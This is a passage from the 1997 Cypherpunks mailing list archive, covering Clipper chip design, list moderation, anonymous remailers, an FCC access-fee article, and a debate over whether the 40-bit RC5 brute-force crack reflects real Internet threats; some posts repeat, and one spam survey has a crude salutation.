are DSS signatures used? Presumably the Elliptic curve is for key exchange? Is there something about the design which implies Ellitpic curve must be the key exchange mechanism used? Another possible area for public key, if they had it on chip, would be to use public key encryption for the encryption of the serial number. Otherwise, when the chip is reverse engineered the LE family key would allow traffic analysis of all clipper traffic. Public key would prevent this. (According to Ross Anderson's paper on tamper proof hardware, at least one chip manufacturer has reverse engineered the clipper chip) > If nobody cares about the leaks, why do we need to provide a forum for > them? Besides, there are other fora that could be used. sci.crypt or > Coderpunks are both good places to post "found" code. It is true that sci.crypt and coderpunks do make alternative fora. Somebody else pointed out that rc4.c was posted to sci.crypt first. I think they are correct, and in fact if I remember, it was forged as from David Sterndark or some other play on David Sternlight's email address. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Over on sci.crypt, Paul C. Kocker gave a clear and confident response to a query about the statistical difference between a brute force attack on a known Russian or English text, versus a similar attack on cyphertext with a known-plaintext sample (Strassmann's tell-tale Clue #3.) Said Kocher: The difference is negligable. With English text encrypted under a 64-bit block cipher, you know that the most significant bit of each of the 8 bytes in the block should be zero. For a wrong key, there is a 255/256 probability that at least one of these bits will be nonzero, allowing immediate rejection of the key. Keys which do produce all zero bits get tested on additional blocks until the key is either deemed correct or rejected. The extra overhead per wrong key is the sum from i=1 to infinity of i*(1/256^i), or under 0.4 percent. In practice, the slowdown is actually a couple of percent, since it complicates the skip-the-last-Fiestel-round optimization. Also, the 1/256 case requires running extra code, which can fill the microprocessor's cache with code which isn't part of the main loop, slowing things down a bit when the computer goes back to the main search. Cheers, Paul ____________________________________ http://www.cryptography.com Paul Kocher (pck at netcom.com) | Voicemail: +1-(415)-354-8004 Crypto consultant | FAX: +1-(415)-321-1483 From cmcurtin at research.megasoft.com Fri Feb 7 07:24:15 1997 From: cmcurtin at research.megasoft.com (C Matthew Curtin) Date: Fri, 7 Feb 1997 07:24:15 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! In-Reply-To: <199702041942.LAA04370@toad.com> Message-ID: <199702071513.KAA12494@goffette.research.megasoft.com> -----BEGIN PGP SIGNED MESSAGE----- >>>>> "Jeff" == Jeff Barber writes: John> Tim, the Cypherpunks have chosen to follow Sandy's lead for this John> month. I'll admit I made it easy for them, but the results are John> conclusive. There are 1311 addresses in the cypherpunks list John> today; 42 in the unedited list; and 19 in the flames list. Jeff> "Conclusively" this has shown only that most folks are willing Jeff> to go along with an experiment -- especially if it requires them Jeff> to do exactly nothing. This is precisely the category into which I fall. It is a pain to unsubscribe from a list, since my "From_" header doesn't agree with my "From:" header (the former has a specific host included, the latter only a zone), and this often triggers a message to the list owner for processing. In any case, I am willing to go along with the experiment. But a NoCeM-style approach to killing the noise is much more preferable. Failing that, an individual filter (such as procmail) is good. In any event, the responsibility of what to post and what to read should be in the hands of each reder individually. - -- Matt Curtin Chief Scientist Megasoft, Inc. cmcurtin at research.megasoft.com http://www.research.megasoft.com/people/cmcurtin/ I speak only for myself Hacker Security Firewall Crypto PGP Privacy Unix Perl Java Internet Intranet -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Have you encrypted your data today? iQEVAwUBMvtGmH6R34u/f3zNAQFQbwf9HYoT51vkHSjSJOnzXcphD7WLoOEq8WV1 rj33PUweZiibTyZg1JADdbS09QVgl80TE90YDJGQ/c77wwBuMKiJTVAz8jaixjCK kUJ6IiQ4Ul3Q1LfyM5iC/kphQc/ILld0PHpaZl104pLoJ13rK6FCzMaQd+MZpWoJ ZLWxrKaebFF5IH0dW9avJ3Vb5Kp+6OSGmpBwooFiq+nhuUCaeAZtOAwmutDM5d1g oDTXGmdFuDLzjAuLcQnNAwc/nRd0bBLj3b3KFYkOzNjnl3BjOw3s4XVMF4sELOCX aOnxZE/u7lP3HkAQtJ+PxHgthUbODE0ixDU0iuWSrDVm8gRAe4Xm0A== =78/T -----END PGP SIGNATURE----- From chuck at wazoo.com Fri Feb 7 08:21:22 1997 From: chuck at wazoo.com (Chuck Fender) Date: Fri, 7 Feb 1997 08:21:22 -0800 (PST) Subject: anonymous remailers In-Reply-To: <199702062314.PAA02544@toad.com> Message-ID: <3.0.1.32.19970207075655.006cd9fc@wazoo.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 3177 bytes Desc: not available URL: From dekkard at sprynet.com Fri Feb 7 08:25:32 1997 From: dekkard at sprynet.com (Derrick Storren) Date: Fri, 7 Feb 1997 08:25:32 -0800 (PST) Subject: ISPs vs Bells - Email FCC Message-ID: <32FB57B0.122E@sprynet.com> Baby Bells want us to pay by the minute. An opportunity to tell the FCC what we think via email at isp at fcc.gov -- article follows. ***************************************** By Michelle V. Rafter LOS ANGELES - Regional phone companies and Internet service providers are waging a war of words over Internet traffic on the nation's local telephone network and who should pay for upgrades as the online boom continues. As a drama, the phone companies vs. Internet providers contest is dry, complicated stuff, lacking the sex appeal of, say, the power struggle between Netscape and Microsoft for control of the personal computer desktop. Even so, analysts and other industry watchers counsel consumers and businesses to take heed of the tug of war because it could affect how much they pay to use the Internet, and ultimately, how they connect to it. In one corner, Pacific Bell, Bell Atlantic and other regional phone carriers say the growth of Internet traffic is pushing local telephone networks to the breaking point. Pacific Bell, for example, says Internet surfers use its phone lines an average of 45 minutes a day -- more than twice the amount the network was built to handle. Heavy Internet use in Silicon Valley led to brief service outages in that area earlier this year, the company said. Pacific Bell and other local phone companies say they've poured millions of dollars into hardware improvements as a result of Internet traffic, improvements they claim would otherwise have been unnecessary. To help defray costs, phone companies think providers should pay for service on a per-minute basis, the way long-distance companies do, rather than by the line, like other business phone customers. Internet providers have been exempt from paying so-called access fees under a 1983 federal ruling meant to foster growth of compute data networks. On the other side, Internet service providers say phone companies have it all wrong. A recent report sponsored by the Internet Access Coalition, an industry lobby group, maintains computer traffic poses no threat to local phone networks and that earlier phone-company studies identifying trouble spots were based on theoretical claims and a few areas with engineering and planning problems that could easily be rectified. If Internet traffic was such a threat, phone companies wouldn't be exacerbating the problem by jumping into the Internet access business themselves, providers say. Rather than hurting phone companies, Internet traffic has been a windfall, according to the coalition. In 1995, local phone companies spent a total of $245 million adding 6 million residential phone lines used primarily for Internet access, but reaped $1.4 billion in revenue on those lines, the group said. If providers are required to pay access fees, they'll have no choice but to raise their rates, which could stifle Internet growth just as it's taking off, they say. Internet providers and phone companies are arguing their respective positions in Washington, where the Federal Communications Commission is considering the access-fee issue. As part of ongoing telecommunication industry reform, the FCC said in late December it would cut access fees levied on long-distance carriers and is investigating options for doing that. But the agency held off making a decision affecting Internet use to allow time for parties with an interest in the issue to present their cases. The FCC took the unusual step of setting up an e-mail address -- isp at fcc.gov -- consumers and others can use to send their thoughts. Internet providers and phone companies have until Feb. 21 to submit formal comments, and the agency is expected to make a ruling later this year. Even if the FCC levies access fees on providers and companies raise rates accordingly, it won't dampen consumers' love affair with the Internet, some analysts said. If, for example, Internet providers passed through an access fee of 1 cent a minute, a subscriber spending 10 hours online a month would pay an extra $6 -- hardly a deterrent, said David Goodtree, an analyst with Forrester Research in Cambridge, Mass. "Cable TV rates have doubled in the last three or four years, we got nothing more for it, but cable subscribership didn't go down because of it," Goodtree said. On one point everyone agrees -- the nation's current analog telephone network eventually will not be able to handle demand from Internet users, and must be supplanted by a digital system better suited to transmitting computer data. Both phone companies and Internet providers have begun working on solutions. Phone carriers that have offered digital ISDN (integrated services digital network) lines are stepping up their marketing efforts. Phone companies and Internet providers are investigating a new technology called digital subscriber line, or DSL, which routes Internet phone traffic around analog phone-company switches into all-digital networks. But inevitably, discussion of DSL and other new technologies circles back to who'll pay for upgrades. Sky Dayton, president of Internet provider Earthlink Networks in Pasadena, Calif., believes it is in phone companies' best interests to spend on digital upgrades because of the profit potential from selling them to companies such as his. But why should phone companies pick up all the costs when Internet service providers will benefit, too, says Pacific Bell spokesman Bob Deward. (Michelle V. Rafter writes about cyberspace and technology from Los Angeles. Reach her at mvrafter at deltanet.com. Opinions expressed in this column are her own.) Copyright, Reuters Ltd. All rights reserved From dthorn at gte.net Fri Feb 7 08:26:01 1997 From: dthorn at gte.net (Dale Thorn) Date: Fri, 7 Feb 1997 08:26:01 -0800 (PST) Subject: Govt & cyberspace Message-ID: <199702071626.IAA26175@toad.com> Declan McCullagh wrote: > I find your "distributed democracy" interesting, except that it would > allow scant time for deliberation. Think of it this way: don't you > think the majority of Americans would have voted to pass the CDA? > Or worse? Or restrictions on domestic crypto? Or worse? > Democracy generally means majoritarian rule. The Bill of Rights is an > anti-majoritarian document. It protects the rights of political or > religious minorities. I fear that electronic "click here to vote" > democracy would undermine the Bill of Rights even more. You spoke a key phrase when you said "scant time". When I was in the Perot camp, I saw some direct "democracy" in action, and it was pitiful how the little folks could be herded into voting this way and that. OTOH, this subject deserves more in-depth analysis, and a good starting point could be the California referendums (Prop. 209, etc.), followed on by Supreme Court decisions saying OK, not OK, and so on. That system provides a good mix of people having input and proper Constitutional judicial review. One of the good factors is the pamphlets the state sends out to voters prior to the election, with a decent analysis of the issues from opposing points of view. Not perfect to be sure, but a good start. > Dale Thorn writes: > I wish for once and for all someone would delineate this "democracy" > thing from a true, distributed democracy, where every individual is > required to participate equally, and no narrow interests can co-opt > the vote the way they do in the kind of "democracy" Declan mentions. From mpd at netcom.com Fri Feb 7 08:36:27 1997 From: mpd at netcom.com (Mike Duvos) Date: Fri, 7 Feb 1997 08:36:27 -0800 (PST) Subject: My messages not appearing on either of the lists? In-Reply-To: <199702070655.WAA12884@toad.com> Message-ID: <199702071636.IAA26298@netcom19.netcom.com> Tim May writes: > My posting seem to be going into Limbo, being sent neither to the > Cypherpunks Heaven Sandy administers nor to the flames of the Cypherpunks > Hell. At least this is how things now appear. > I sent the message below to the list this morning (Thursday) at 8:43 a.m. > PST. As of tonight, 12 hours later, I haven't seen it on either the > Singapore Web site--last archived 30 minutes ago--or on the "Flames" list > to which I have temporarily subscribed (to see what Sandy counts as a > "flame"). Now that a few weeks have passed, I have decided that moderation delays are the most annoying feature of the new experiment. I am subscribed to the unedited list under another account, and its almost instantaneous traffic is in great contrast to the time required for posts to trickle through the Sandfort-Bot. > By the way, I noted that many of the messages which appeared at the > Singapore Web archive site have dates much later than mine, including > several dated at least 8-10 hours after my message. Likewise, some of the > Flames messages are dated much later than my message. Messages apparently do not get moderated in the order in which they are received. Some messages take a very long time, as other later messages pass them by and are posted to the list. Again, I have no explanation for this unusual behavior. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From inc at jps.net Fri Feb 7 08:37:07 1997 From: inc at jps.net (linda wilson) Date: Fri, 7 Feb 1997 08:37:07 -0800 (PST) Subject: Appointment Verification Message-ID: <19970208012523047.AFY168@[207.105.167.194]> Suck_My_Big_Juicy_Cock, We would like to ask for your help with a survey for a service bureau we are considering developing software for in voice communications. This software will be used to remind patients of their upcoming appointments, allow them to confirm or reschedule. After confirming which patients will not be able to make their appointment the system will contact all individuals that are on a waiting list to schedule them for open time slots..... For assisting us we will mail you a FREE certificate for 100 rolls of Kodak film and a 35 mm camera. NO ONE WIll CALL YOU! 1. Do you feel doctors would use a service which calls patients for them using a personalized Voice system reminding them of their appointments? ____yes ____NO 2. How important do you feel it is to doctors to eliminate the drudgery of staff calling patients reminding them of appointments. not important ______ somewhat important ______ Very important ______ 3. What's do you feel would be a fair price or doctors would be willing to pay for such a service? 100-$200 per month _____ 200-$300 per month _____ 300- $400 per month _____ Other ____________ Please email your answers to advance at ns.net If you have any suggestions on any additional automated voice service you would like to see someone develop please let us know. Thanks again for your participation. From nobody at replay.com Fri Feb 7 08:39:18 1997 From: nobody at replay.com (Anonymous) Date: Fri, 7 Feb 1997 08:39:18 -0800 (PST) Subject: 40-bit RC5 crack meaningless?? Message-ID: <199702071639.IAA26432@toad.com> Over on sci.crypt, Paul C. Kocker gave a clear and confident response to a query about the statistical difference between a brute force attack on a known Russian or English text, versus a similar attack on cyphertext with a known-plaintext sample (Strassmann's tell-tale Clue #3.) Said Kocher: The difference is negligable. With English text encrypted under a 64-bit block cipher, you know that the most significant bit of each of the 8 bytes in the block should be zero. For a wrong key, there is a 255/256 probability that at least one of these bits will be nonzero, allowing immediate rejection of the key. Keys which do produce all zero bits get tested on additional blocks until the key is either deemed correct or rejected. The extra overhead per wrong key is the sum from i=1 to infinity of i*(1/256^i), or under 0.4 percent. In practice, the slowdown is actually a couple of percent, since it complicates the skip-the-last-Fiestel-round optimization. Also, the 1/256 case requires running extra code, which can fill the microprocessor's cache with code which isn't part of the main loop, slowing things down a bit when the computer goes back to the main search. Cheers, Paul ____________________________________ http://www.cryptography.com Paul Kocher (pck at netcom.com) | Voicemail: +1-(415)-354-8004 Crypto consultant | FAX: +1-(415)-321-1483 From cmcurtin at research.megasoft.com Fri Feb 7 08:39:27 1997 From: cmcurtin at research.megasoft.com (C Matthew Curtin) Date: Fri, 7 Feb 1997 08:39:27 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <199702071639.IAA26440@toad.com> -----BEGIN PGP SIGNED MESSAGE----- >>>>> "Jeff" == Jeff Barber writes: John> Tim, the Cypherpunks have chosen to follow Sandy's lead for this John> month. I'll admit I made it easy for them, but the results are John> conclusive. There are 1311 addresses in the cypherpunks list John> today; 42 in the unedited list; and 19 in the flames list. Jeff> "Conclusively" this has shown only that most folks are willing Jeff> to go along with an experiment -- especially if it requires them Jeff> to do exactly nothing. This is precisely the category into which I fall. It is a pain to unsubscribe from a list, since my "From_" header doesn't agree with my "From:" header (the former has a specific host included, the latter only a zone), and this often triggers a message to the list owner for processing. In any case, I am willing to go along with the experiment. But a NoCeM-style approach to killing the noise is much more preferable. Failing that, an individual filter (such as procmail) is good. In any event, the responsibility of what to post and what to read should be in the hands of each reder individually. - -- Matt Curtin Chief Scientist Megasoft, Inc. cmcurtin at research.megasoft.com http://www.research.megasoft.com/people/cmcurtin/ I speak only for myself Hacker Security Firewall Crypto PGP Privacy Unix Perl Java Internet Intranet -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Have you encrypted your data today? iQEVAwUBMvtGmH6R34u/f3zNAQFQbwf9HYoT51vkHSjSJOnzXcphD7WLoOEq8WV1 rj33PUweZiibTyZg1JADdbS09QVgl80TE90YDJGQ/c77wwBuMKiJTVAz8jaixjCK kUJ6IiQ4Ul3Q1LfyM5iC/kphQc/ILld0PHpaZl104pLoJ13rK6FCzMaQd+MZpWoJ ZLWxrKaebFF5IH0dW9avJ3Vb5Kp+6OSGmpBwooFiq+nhuUCaeAZtOAwmutDM5d1g oDTXGmdFuDLzjAuLcQnNAwc/nRd0bBLj3b3KFYkOzNjnl3BjOw3s4XVMF4sELOCX aOnxZE/u7lP3HkAQtJ+PxHgthUbODE0ixDU0iuWSrDVm8gRAe4Xm0A== =78/T -----END PGP SIGNATURE----- From dekkard at sprynet.com Fri Feb 7 08:39:49 1997 From: dekkard at sprynet.com (Derrick Storren) Date: Fri, 7 Feb 1997 08:39:49 -0800 (PST) Subject: ISPs vs Bells - Email FCC Message-ID: <199702071639.IAA26471@toad.com> Baby Bells want us to pay by the minute. An opportunity to tell the FCC what we think via email at isp at fcc.gov -- article follows. ***************************************** By Michelle V. Rafter LOS ANGELES - Regional phone companies and Internet service providers are waging a war of words over Internet traffic on the nation's local telephone network and who should pay for upgrades as the online boom continues. As a drama, the phone companies vs. Internet providers contest is dry, complicated stuff, lacking the sex appeal of, say, the power struggle between Netscape and Microsoft for control of the personal computer desktop. Even so, analysts and other industry watchers counsel consumers and businesses to take heed of the tug of war because it could affect how much they pay to use the Internet, and ultimately, how they connect to it. In one corner, Pacific Bell, Bell Atlantic and other regional phone carriers say the growth of Internet traffic is pushing local telephone networks to the breaking point. Pacific Bell, for example, says Internet surfers use its phone lines an average of 45 minutes a day -- more than twice the amount the network was built to handle. Heavy Internet use in Silicon Valley led to brief service outages in that area earlier this year, the company said. Pacific Bell and other local phone companies say they've poured millions of dollars into hardware improvements as a result of Internet traffic, improvements they claim would otherwise have been unnecessary. To help defray costs, phone companies think providers should pay for service on a per-minute basis, the way long-distance companies do, rather than by the line, like other business phone customers. Internet providers have been exempt from paying so-called access fees under a 1983 federal ruling meant to foster growth of compute data networks. On the other side, Internet service providers say phone companies have it all wrong. A recent report sponsored by the Internet Access Coalition, an industry lobby group, maintains computer traffic poses no threat to local phone networks and that earlier phone-company studies identifying trouble spots were based on theoretical claims and a few areas with engineering and planning problems that could easily be rectified. If Internet traffic was such a threat, phone companies wouldn't be exacerbating the problem by jumping into the Internet access business themselves, providers say. Rather than hurting phone companies, Internet traffic has been a windfall, according to the coalition. In 1995, local phone companies spent a total of $245 million adding 6 million residential phone lines used primarily for Internet access, but reaped $1.4 billion in revenue on those lines, the group said. If providers are required to pay access fees, they'll have no choice but to raise their rates, which could stifle Internet growth just as it's taking off, they say. Internet providers and phone companies are arguing their respective positions in Washington, where the Federal Communications Commission is considering the access-fee issue. As part of ongoing telecommunication industry reform, the FCC said in late December it would cut access fees levied on long-distance carriers and is investigating options for doing that. But the agency held off making a decision affecting Internet use to allow time for parties with an interest in the issue to present their cases. The FCC took the unusual step of setting up an e-mail address -- isp at fcc.gov -- consumers and others can use to send their thoughts. Internet providers and phone companies have until Feb. 21 to submit formal comments, and the agency is expected to make a ruling later this year. Even if the FCC levies access fees on providers and companies raise rates accordingly, it won't dampen consumers' love affair with the Internet, some analysts said. If, for example, Internet providers passed through an access fee of 1 cent a minute, a subscriber spending 10 hours online a month would pay an extra $6 -- hardly a deterrent, said David Goodtree, an analyst with Forrester Research in Cambridge, Mass. "Cable TV rates have doubled in the last three or four years, we got nothing more for it, but cable subscribership didn't go down because of it," Goodtree said. On one point everyone agrees -- the nation's current analog telephone network eventually will not be able to handle demand from Internet users, and must be supplanted by a digital system better suited to transmitting computer data. Both phone companies and Internet providers have begun working on solutions. Phone carriers that have offered digital ISDN (integrated services digital network) lines are stepping up their marketing efforts. Phone companies and Internet providers are investigating a new technology called digital subscriber line, or DSL, which routes Internet phone traffic around analog phone-company switches into all-digital networks. But inevitably, discussion of DSL and other new technologies circles back to who'll pay for upgrades. Sky Dayton, president of Internet provider Earthlink Networks in Pasadena, Calif., believes it is in phone companies' best interests to spend on digital upgrades because of the profit potential from selling them to companies such as his. But why should phone companies pick up all the costs when Internet service providers will benefit, too, says Pacific Bell spokesman Bob Deward. (Michelle V. Rafter writes about cyberspace and technology from Los Angeles. Reach her at mvrafter at deltanet.com. Opinions expressed in this column are her own.) Copyright, Reuters Ltd. All rights reserved From chuck at wazoo.com Fri Feb 7 08:39:50 1997 From: chuck at wazoo.com (Chuck Fender) Date: Fri, 7 Feb 1997 08:39:50 -0800 (PST) Subject: anonymous remailers Message-ID: <199702071639.IAA26472@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 05:40 PM 2/6/97 -0500, you wrote: > >c.musselman at internetmci.com (Charley Musselman) writes: >> C'punks -- >> When I told a friend about the alt.drugs.pot cultivation newsgroup >> and suggested that he use an anonymous remailer to post to the group, >> he laughed and said, "Who do you suppose runs the remailers? ATF, >> FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does >> anyone know the answer? Specifically, how can we choose a trusted >> remailer? > >The solution is not to choose a trusted remailer, but to choose a >group of remailers and send your message through each one I run an anonymous remailer. I have a mixmaster type at mix at wazoo.com nd a cypherpunk type at remailer at wazoo.com. Also, there is a WWW interface at http://www.wazoo.com/~remailer. I know that my system doesn't keep any recorders except number of messages that go through. I am a "secure remailer". Before I set up the remailer, I did a lot of soul searching, knowing that somewhere along the road I could help a "baby raper" or something else I find morally objectionable. I came to the conclusion, and I still think it is the right conclusion, that the public service offered by an anonymous remailer far outweighs the disadvantages of potentially helping someone I personally find objectionable. Setting up a remailer, for someone that is already running a domain, is easy enough to be almost trivial. With the explosion of domains the internet has seen in the past couple of years, at least some of the remailers have to be honest and not fronts for the DOJ, FBI, and whatever other alphabet orginizations... Obviously, you are thinking that any FBI agent that wanted to could post this exact message, and YOU ARE RIGHT! Take advantage of a string of remailers. Use proper encryption, so that none of them know more than the next hop. Make sure you vary the order of remailers you go through with each message. Being cautious, you can be almost 100% certain your message is anonymous. Chuck Sys Admin... Wazoo's Computers ====================================== PGP key for remailer at wazoo.com available from all public key servers of by fingering: remailer at wazoo.com...help file available by sending mail to remailer at wazoo.com with a subject of remailer-help ====================================== For those that missed or already deleted the list, here are some places to find more about remailers: http://WWW.CSUA.Berkeley.EDU/cypherpunks/remailer/ http://www.stack.nl/~galactus/remailers/index-anon.html http://www.cs.berkeley.edu/~raph/remailer-list.html -----BEGIN PGP SIGNATURE----- Version: 4.5 Comment: Chuck Fender < Sys Admin for Wazoo's Computers iQCVAgUBMvtCni/mzwsxwvO5AQGbjgP/d8YfoPxHnSG4Gu6G/3Vx7GcPFK6DBj4Z FtdoNdQUgWFrMK270Ep6dz5wBIGiEJrPNpiMJQJl2mt4GRSP4RTT3zWy1T8ULclr wFnywwjieMFxyz4JBBGbyBssNZM2OqUSJIyMFXWdmQyXTKNOXqxnW9oMOu82QqLD TuHUSUaxrYU= =rJFq -----END PGP SIGNATURE----- 0000,0000,8080***************************************** * 0000,0000,ffffWazoo's Computers 0000,0000,8080* * Alamogordo's Internet Access Provider 0000,0000,8080* * ffff,0000,0000(505) 434-5090 0000,0000,8080* ***************************************** From jya at pipeline.com Fri Feb 7 08:51:55 1997 From: jya at pipeline.com (John Young) Date: Fri, 7 Feb 1997 08:51:55 -0800 (PST) Subject: 40-bit RC5 crack meaningless?? Message-ID: <1.5.4.32.19970207164600.006a07e4@pop.pipeline.com> Paul Strassmann served on the "Information Warefare - Defense" Task Force sponsored by the Defense Science Board. He has a Web site at: http://www.strassmann.com The IW-D report recounts most of the well-known info-war memes to buttress its plea for more info-warfighting funds, and says that business needs DoD protection. It de-emphasizes the encryption debate, claiming that crypto is not an important part of the problem or the solution. Remailers are not mentioned. Short and long versions of IW-D: http://jya.com/iwd.htm Winn Schwartau's infowar.com offers it too. SAIC was generously represented on the Task Force: Strassmann, Bellcore's head, a couple more. As well as others committed to "raising the bar" against attack on Info-Maginot: http://jya.com/iwdaff.htm From trei at ziplink.net Fri Feb 7 09:44:29 1997 From: trei at ziplink.net (Peter Trei) Date: Fri, 7 Feb 1997 09:44:29 -0800 (PST) Subject: 40-bit RC5 crack meaningless? Message-ID: <199702071741.MAA20475@zip1.ziplink.net> Subject: Re: 40-bit RC5 crack meaningless?? From: Peter Trei > Subject: 40-bit RC5 crack meaningless?? Mr. Strassman allegedly sent the quoted letter to Winn Schwartaus' "infowar" mailing list, and it was then posted by persons unknown to the sci.crypt usenet group. Identity on the internet being the fluid thing it is, I apologize in advance if he never sent this letter, or if it has been modified before it reached me. The quoted letter attempts to minimize the importance of Ian Goldberg's recent bruteforce decryption of export-strength RC5 encryption. In my opinon, as described below, Mr. Strassman's arguments are without merit when applied to the situation the RSA challenges are intended to model - the security of encrypted Internet protocols. As such, I feel that his letter may lull some people into an unjustified and dangerous sense of security. > >Date: Thu, 30 Jan 1997 20:10:36 -0500 > >From: "Paul A. Strassmann" > >Subject: Further to Goldberg's Cracking Accomplishments > >Gentlemen: > > > >As I suspected (see earlier private comment), the > >highly promoted RSA cracking contest offered > >a number of clues that ordinarly would not be > >volunteered by info-terrorists or info-criminals to > >IW Defense teams. > >These clues made the cracking significantly easier, > >because it made it possible to eliminate an enormous > >range of possible searches. What's the target, and who is doing the encrypting? These "clues" _are_ available to adversaries engaged in industrial and economic espionage; a important part of a covert infowar. It's certainly true that "info-terrorists or info-criminals" will not be so easy to tap, but the absence of these 'clues' is a red herring. They will be secure because they will use good encryption, which is not what US firms can export today. The challenges are realistic models of encrypted Internet protocols, for example IPSEC with ESP data encryption. As such, they accurately display the vulnerability of data on the Internet to espionage. > >The following was extracted verbatim from the > > > >posted on : > > > >Clue #1: > > > > " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge > >will use 12-round RC5 with a 32-bit word size. " > > > >Clue #2: > > > > " ...The first RC5 contest will consist of some unknown plaintext > >encrypted using a 40-bit key;." Clues #1 and #2 are absolutely reasonable - in an open standard, it is absolutely normal to know the cipher being used, it's mode, and the length of the key. See the SSL specification, or IPSEC's RFCs. > >Clue #3: (a giveway!) > > > > " ... For each contest, the unknown plaintext message is preceded by three > > known blocks of text that contain the 24-character phrase "The > > unknown message is: .....". To those who are unfamiliar with Internet protocols, this would appear to give the cryptanalyst an unrealistic head-start. This is not the case. Most Internet protocols have highly stereotyped packet headers; for example, _every_ normal return packet from a web server starts out with the string "HTTP/1.0" (servers using something other than version 1.0 are rare as hen's teeth at the moment). When you consider that such a packet may contain a firm's confidential earnings predictions or trade secrets (hopefully encrypted), the economic importance of such data is clear. Similar stereotyped headers exist for many other protocols, such as NNTP and SMTP. As such, a known-plaintext attack, as modeled by RSADSI's symmetric key challange, is quite realistic. Even if a full known plaintext for the first block is unavailable, a knowlegable cryptanalyst can usually make some very reasonable assumptions which will greatly speed his or her task. (I'm assuming DES here - which has a 64 bit block, but the argument extends easily to other block sizes). For example, if we know that the data contains only printable ASCII characters (true for the headers of most Internet protocols), then for a 64 bit block, there are 8 bits which we _know_ will be zero in the decrypted block. This lets us dispose of 255 out of every 256 incorrect trial decryptions immediately, and we will have to perform more extensive tests on less then 0.4% of candidate keys. Similar intelligent guesses can be made about the headers of other protocols, for example IPSEC-secured IPv6 packet headers in tunneling mode. Some people have noted that the challenges include the IV, or 'initialization vector' used in CBC (cipher-block-chaining) modes of encryption, and argue that this would not be available to an adversary. Once again, this assertion falls when examined in the light of actual usage. The purpose of an IV is to make dictionary and replay attacks more difficult. It is not intended to prevent brute force attacks, and so is _normally_ included in the clear in communications protocols (for example, see RFC 1827 for it's clear transmission in IPSEC). If it is not included, it is effectively part of the keying material, and thus adds it's bits to the strength of the key. As such, its value would have to be transmitted and protected as carefully as the rest of the key. > >In summary: The claim of exportable cryptography being totally > >insecure, because it can be cracked in 3.5 hours is not > >realistic. The three clues announced in the contest > >would not apply under infowar conditions. As I have shown above, Mr. Strassman's optimism is misplaced in the case of actual, fielded use of encryption on the Internet. It may apply to some classified systems, but they don't use exportable cryptography anyway. A covert inforwar against commercial and private targets is _quite_ plausible. > >What other clues may have been provided to Goldberg > >to support private agendas and gain shrill headlines > >is also a matter of speculation, but I rest my case. What exactly is he hinting at here? > >I certainly cannot assert that a 40 bit key cannot be decyphered. Of course he can't. 40 bits of RC4 encryption (as used in the exportable version of Netscape) was brute-forced not once, but three separate times in the fall of 1995, the fastest effort taking about 28 hours. Today it could be done much more quickly, as Ian demonstrated with RC5 (an algorithm of similar complexity). > >However, I do not think that the RSA unqualified claims > >offer full and appropriate disclosure. I disagree. The RSA challenges accurately model the use of encryption on the unclassified Internet. Ian's decryption of 40-bit RC5 is of considerable importance in demonstrating the insecurity of American citizens caused by Administration efforts to compromise exportable encryption. In my opinon, Mr. Strassman's assertions as to the strength of exportable encryption are too dangerous to be left unchallenged. > >Paul A. Strassmann > >55 Talmadge Hill Road, New Canaan, CT. 06840 > >Telephone: 203-966-5505; Fax: 203-966-5506 > >INTERNET: paul at strassmann.com > >WorldwideWeb: http://www.strassmann.com Peter Trei ptrei at acm.org Disclaimer: I am speaking as a knowlegable private citizen, not as a representative of my employer. This posting represents my opinon only. From mix-admin at nym.alias.net Fri Feb 7 10:04:26 1997 From: mix-admin at nym.alias.net (lcs Remailer Administrator) Date: Fri, 7 Feb 1997 10:04:26 -0800 (PST) Subject: WANTED: Tolerant, anonymity-friendly news admins In-Reply-To: Message-ID: <19970207180418.28980.qmail@anon.lcs.mit.edu> aga writes: > Who attacked the network and for what reason? Well, as best I can tell I've gotten caught in the crossfire of a spam/"anti-spam" spam war. People are forging articles through anonymous remailers to solicit spam to non-spamming customers of "spam-friendly" ISPs, in the hopes of driving those customers away. In other words, a lot of articles are being posted to groups like alt.make.money.fast with headers like: From: customer at isp.under.attack (My^ISP^spams^I^should^switch) Then the spam bots collect the addresses, and send lots of mail like To: customer at isp.under.attack (My^ISP^spams^I^should^switch) Subject: Great opportunity!!! My^ISP^spams^I^should^switch, I saw your post the other day, and have an oportunity for you that's so good you can't miss it... It would be amusing if it weren't causing me hassles. Ultimately, however, the person doing this is clearly trying to get ISPs to set more restrictive policies about what mail/news customers can send, while knocking off a few anonymous remailers and mail2news gateways in the process. > Well, just who is cutting you off and for what reason? > And what is their telephone number? At issue here are a number of complicated high-level administrative issues. It's not just that someone is trying to pull the plug on me. I've been asked by someone who is not the one getting the phone calls or exerting anti-mail2news pressure if I would stop using MIT news servers. The reason is that that person needs to maintain good relations with the people who are being harassed over the fogery. I don't really want to go into details. The point is that this situation is a lot more subtle than whether the pro-mail2news people can "out-harrass" the people complaining about forgeries. Therefore, I would sincerely appreciate it if you did not try to make any phone calls or do anything to use up any more of these people's time. I fully intend to keep mail2news running, and am just trying to get more news servers (after having lost one) to maintain reliability and strengthen my position. > Just what is your definition of "abuse?" This got answered in a separate message. From attila at primenet.com Fri Feb 7 10:07:01 1997 From: attila at primenet.com (Attila T. Hun) Date: Fri, 7 Feb 1997 10:07:01 -0800 (PST) Subject: faulty moderation software: duplicate messages Message-ID: <199702071806.LAA18482@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- Virtually all list postings to the cypherpunks main list are doubled; the first, which is a standard pass through with the message ID of the sender, the second with the message ID of toad.com. Obviously, the first is destined for the unedited list --which did _not_ receive the message. The second has been re-IDd, which I presume is your censorhip mark. I happen to subscribe to all three lists, even though main + flames == unedited is supposedly the intention, it is not. In order to divide the output stream from toad.com, sorting on "Sender: " is the only reasonable differentation (when toad's filters are working): Sender: owner-cypherpunks at toad.com Sender: 